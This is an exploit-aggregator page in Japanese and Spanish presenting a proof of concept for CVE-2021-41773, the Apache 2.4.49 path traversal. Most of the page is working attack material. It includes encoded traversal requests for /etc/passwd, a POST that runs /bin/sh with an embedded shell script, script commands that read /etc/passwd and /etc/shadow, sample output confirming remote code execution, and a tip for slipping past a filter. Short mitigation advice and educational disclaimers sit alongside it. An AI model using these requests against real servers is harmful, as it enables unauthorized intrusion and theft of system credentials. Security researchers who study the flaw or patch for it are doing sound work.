## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-JOAPATH-CVE-2021-41773
# CVE-2021-41773 — PoC: mod_cgi 経由の Path Traversal + RCE
> **管理された自分専用の環境でのみ使用すること。許可なくシステムに対して使用しないこと。**
* * *
## 説明
**Apache HTTP Server 2.4.49** に存在する脆弱性 **CVE-2021-41773** を実証・理解するために開発された PoC です。
この欠陥は `ap_normalize_path()` 関数にあり、URL エンコードされた文字を適切に検証していませんでした。これにより、攻撃者はエンコードされた文字列(`../` の代わりに `%2e%2e%2f`)を使うことで `DocumentRoot` の外に抜け出し、システム上の任意のファイルを読み取ることができました。
`mod_cgi` モジュールが有効な場合、この脆弱性は **RCE(リモートコード実行)** に昇格し、Apache プロセスの権限でサーバー上で直接コマンドを実行できるようになります。
* * *
## 悪用に必要な条件
サーバーが脆弱であるためには、次の条件を**すべて** 満たす必要があります。
条件| 詳細
---|---
Apache のバージョン| 正確に `2.4.49`
アクセスディレクティブ| 設定内の `Require all granted`
CGI モジュール| `mod_cgi` が有効(RCE の場合のみ)
* * *
## 攻撃の仕組み
### フェーズ 1 — パストラバーサル
Apache 2.4.49 は通常の `../` をフィルタリングしましたが、URL エンコードされたバージョンはフィルタリングしませんでした。攻撃者はフィルタに検出されないものの、OS が正しく解釈するパスを構築します。
root@kitploit:~
GET /cgi-bin/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc/passwd
`%2e%2e%2f` は `../` の URL エンコードです。Apache はそれを通過させ、OS が解決し、その結果 Web ディレクトリ外のファイルへのアクセスが可能になりました。
### フェーズ 2 — mod_cgi 経由の RCE
`mod_cgi` が有効な場合、パストラバーサルを使用してファイルの代わりに `/bin/sh` を指定します。Apache はそれを CGI スクリプトとして扱い実行します。コマンドは POST ボディに最小限のシェルスクリプトとして含まれます。
root@kitploit:~
POST /cgi-bin/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fbin/sh
#!/bin/sh
echo 'Content-Type: text/plain'
echo
id 2>&1
コマンドの出力は HTTP レスポンスに含まれます。
* * *
## テスト環境
この脆弱性を再現する最も簡単な方法は Docker を使うことです。
root@kitploit:~
docker run -d -p 8080:80 --name apache-vuln ghcr.io/blasty/CVE-2021-41773
または、脆弱な設定を施した Apache 2.4.49 の手動イメージを使用します。
root@kitploit:~
<Directory />
Require all granted
</Directory>
* * *
テストで使用した設定ファイルをここに残しておきます。
## エクスプロイトの技術的判断
* なぜ 'urllib3' で 'requests' ではないのか?
`requests` は送信前にパスの文字を自動的に再エンコードします。そのため、サーバーは `%2e` の代わりに `%252e` を受け取り、ペイロードが壊れます。`urllib3` はパスを変更せずに送信できます。
* **なぜ`.%2e/` で `%2e%2e/` ではないのか?**
Apache は `mod_rewrite` モジュールで `%2e%2e/` をフィルタリングします。 `.%2e/` という亜種は意味的に同等ですが、フィルタを通過します。 なぜなら、パスの正規化は検証の後に行われるからです。
* * *
## 制限事項
* `mod_cgi` モジュールが有効でなければ RCE モードは機能しません。それがない場合、パストラバーサルのみ可能です。
* Apache がパスの二重エンコーディングをフィルタリングする WAF の背後にある場合、このエクスプロイトは機能しません。
* Linux 上の Apache 2.4.49 に対してのみテスト済みです。バージョン 2.4.50 では追加のバイパスが必要です(CVE-2021-42013 を参照)。
* * *
## スクリプトの使用方法
root@kitploit:~
python PoC_2021-41773.py --target <URL> --mode <traversal|rce> [--cmd <comando>]
### 引数
### 例
# Leer /etc/passwd del servidor
python PoC_2021-41773.py --target http://localhost:8080 \--mode traversal
# Ejecutar el comando 'id'
python PoC_2021-41773.py --target http://localhost:8080 \--mode rce --cmd id
# Ejecutar un comando con espacios
python PoC_2021-41773.py --target http://localhost:8080 \--mode rce --cmd "cat /etc/shadow"
### 期待される出力 — traversal モード
root@kitploit:~
=======================================================
CVE-2021-41773 — Apache 2.4.49 Path Traversal + RCE
PoC con fines educativos — Solo en entornos propios
=======================================================
[+] Modo: Path traversal
[+] Objetivo: http://localhost:8080
[+] URL Construida: http://localhost:8080/cgi-bin/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc/passwd
[+] Enviando request...
Servidor Vulnerable, Status code: 200
=== Contenido de /etc/passwd:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
### 期待される出力 — rce モード
root@kitploit:~
[+] Modo: RCE via mod_cgi
[+] Objetivo: http://localhost:8080
[+] Comando: id
[+] Enviando request...
[+] RCE confirmados
uid=1(daemon) gid=1(daemon) groups=1(daemon)
* * *
## 緩和策
* Apache をバージョン `2.4.51` 以上に更新する。
* デフォルト値として `Require all denied` を設定する。
* 厳密に必要でない場合は `mod_cgi` を無効にする。
* * *
## 参照
* Rapid7 — CVE-2021-41773 Exploited in the Wild
* Qualys — Path Traversal & RCE Analysis
* NVD — CVE-2021-41773
* * *
> ⚠️ **このリポジトリは教育目的のみです。**
> 許可なくシステムに対してこのエクスプロイトを使用することは違法です。
> 管理されたローカル環境でのみテストされています。
_攻撃的セキュリティのポートフォリオのために教育目的で開発された PoC です。_